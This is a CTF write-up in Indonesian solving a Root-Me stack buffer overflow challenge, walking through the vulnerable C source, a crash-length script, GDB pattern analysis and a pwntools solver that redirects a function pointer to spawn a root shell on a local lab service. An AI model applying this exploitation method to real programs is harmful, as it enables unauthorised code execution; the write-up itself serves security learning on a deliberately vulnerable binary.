[REDACTED]

Masalah

Diberikan berkas ch15 beserta source code ch15.c yang dijalankan sebagai layanan pada nc localhost 31337.

Penyelesaian

Persiapan

Compile source code ch15.c menjadi binary ch15 dan jalankan berkas ch15 sebagai layanan dengan perintah ini.

$ gcc -m32 -fno-stack-protector -o ch15 ch15.c
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch15

Pengumpulan Informasi

Periksa jenis binary menggunakan file dan keamanan binary dengan checksec serta jalankan secara normal terlebih dahulu

$ file ch15
ch15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e7709251082cea3e087673b57c44cd39b82c554f, not stripped

$ checksec ch15
[*] '/home/dummy/Private/progress/root-me/pwn/elf-x86-Stack-buffer-overflow-basic-2/ch15'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ ./ch15 
dummy
Hey dude ! Waaaaazzaaaaaaaa ?!

Arsitektur yang digunakan adalah Linux 32 bit dan tidak menggunakan proteksi apapun. Adapun alur program meminta input dan mencetak pesan. Jika melihat source code ada fungsi shell yang dapat menyebabkan Shell bisa dieksekusi.

Isi source code ch15.c.

#include <stdio.h>
#include <stdlib.h>

void shell()
{   system("/bin/dash");
}

void sup()
{   printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

main()
{   int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}

Identifikasi Kelemahan

Ada fungsi fgets yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.

find_segfault_by_input.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    echo $buffer > /tmp/delete.me
    ./$1 < /tmp/delete.me
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Luaran.

~ skipped ~
Hey dude ! Waaaaazzaaaaaaaa ?!
127
Segmentation fault (core dumped)
SEGMENTATION FAULT on 127 BUFFER

Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault sebesar 127 bytes.

Eksploitasi

Buka GDB, dan periksa stack yang ada dalam binary.

$ perl -e 'printf "A"x128' > /tmp/delete.me
$ gdb -q ch15
gdb-peda$ r < /tmp/delete.me

Luaran.

Program received signal SIGSEGV, Segmentation fault.



[----------------------------------registers-----------------------------------]
EAX: 0x8048400 (<deregister_tm_clones+32>:    mov    al,ds:0xd0ff0804)
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa787c --> 0x0 
ESI: 0xf7fa6000 --> 0x1b1db0 
EDI: 0xf7fa6000 --> 0x1b1db0 
EBP: 0xffffd358 --> 0x0 
ESP: 0xffffd2bc --> 0x804850a (<main+61>:    mov    eax,0x0)
EIP: 0x8048400 (<deregister_tm_clones+32>:    mov    al,ds:0xd0ff0804)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x8048400 <deregister_tm_clones+32>:    mov    al,ds:0xd0ff0804
   0x8048405 <deregister_tm_clones+37>:    add    esp,0x10
   0x8048408 <deregister_tm_clones+40>:    leave  
   0x8048409 <deregister_tm_clones+41>:    repz ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd2bc --> 0x804850a (<main+61>:    mov    eax,0x0)
0004| 0xffffd2c0 --> 0x0 
0008| 0xffffd2c4 --> 0x1 
0012| 0xffffd2c8 --> 0xf7ffd918 --> 0x0 
0016| 0xffffd2cc ('A' <repeats 128 times>)
0020| 0xffffd2d0 ('A' <repeats 124 times>)
0024| 0xffffd2d4 ('A' <repeats 120 times>)
0028| 0xffffd2d8 ('A' <repeats 116 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08048400 in deregister_tm_clones ()

Ternyata register EIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create untuk mendapatan posisi register RIP.

gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me

Luaran.

[----------------------------------registers-----------------------------------]
EAX: 0x41416b41 ('AkAA')
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa787c --> 0x0 
ESI: 0xf7fa6000 --> 0x1b1db0 
EDI: 0xf7fa6000 --> 0x1b1db0 
EBP: 0xffffd358 --> 0x0 
ESP: 0xffffd2bc --> 0x804850a (<main+61>:    mov    eax,0x0)
EIP: 0x41416b41 ('AkAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416b41
[------------------------------------stack-------------------------------------]
0000| 0xffffd2bc --> 0x804850a (<main+61>:    mov    eax,0x0)
0004| 0xffffd2c0 --> 0x0 
0008| 0xffffd2c4 --> 0x1 
0012| 0xffffd2c8 --> 0xf7ffd918 --> 0x0 
0016| 0xffffd2cc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0020| 0xffffd2d0 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0024| 0xffffd2d4 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0028| 0xffffd2d8 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416b41 in ?? ()

Ternyata register EIP sudah berhasil ditimpa dengan buffer AAkA, selanjutnya mencari indeks register EIP pada buffer delete.me.

echo `python -c 'print open("delete.me").read().rstrip().index("AAkA")'`

Luaran.

127

Dengan demikian fungsi shell bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi shell dapat diketahui dengan perintah dibawah ini.

$ nm ch15 | grep shell
0804849b T shell

Ini dia script solver.py penyelesaian akhir.

from pwn import *

p = 'A'*128
p += p32(0x0804849b)
h = remote('localhost', 31337)
h.sendline(p)
h.interactive()

Luaran.

[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

results matching ""

    No results matching ""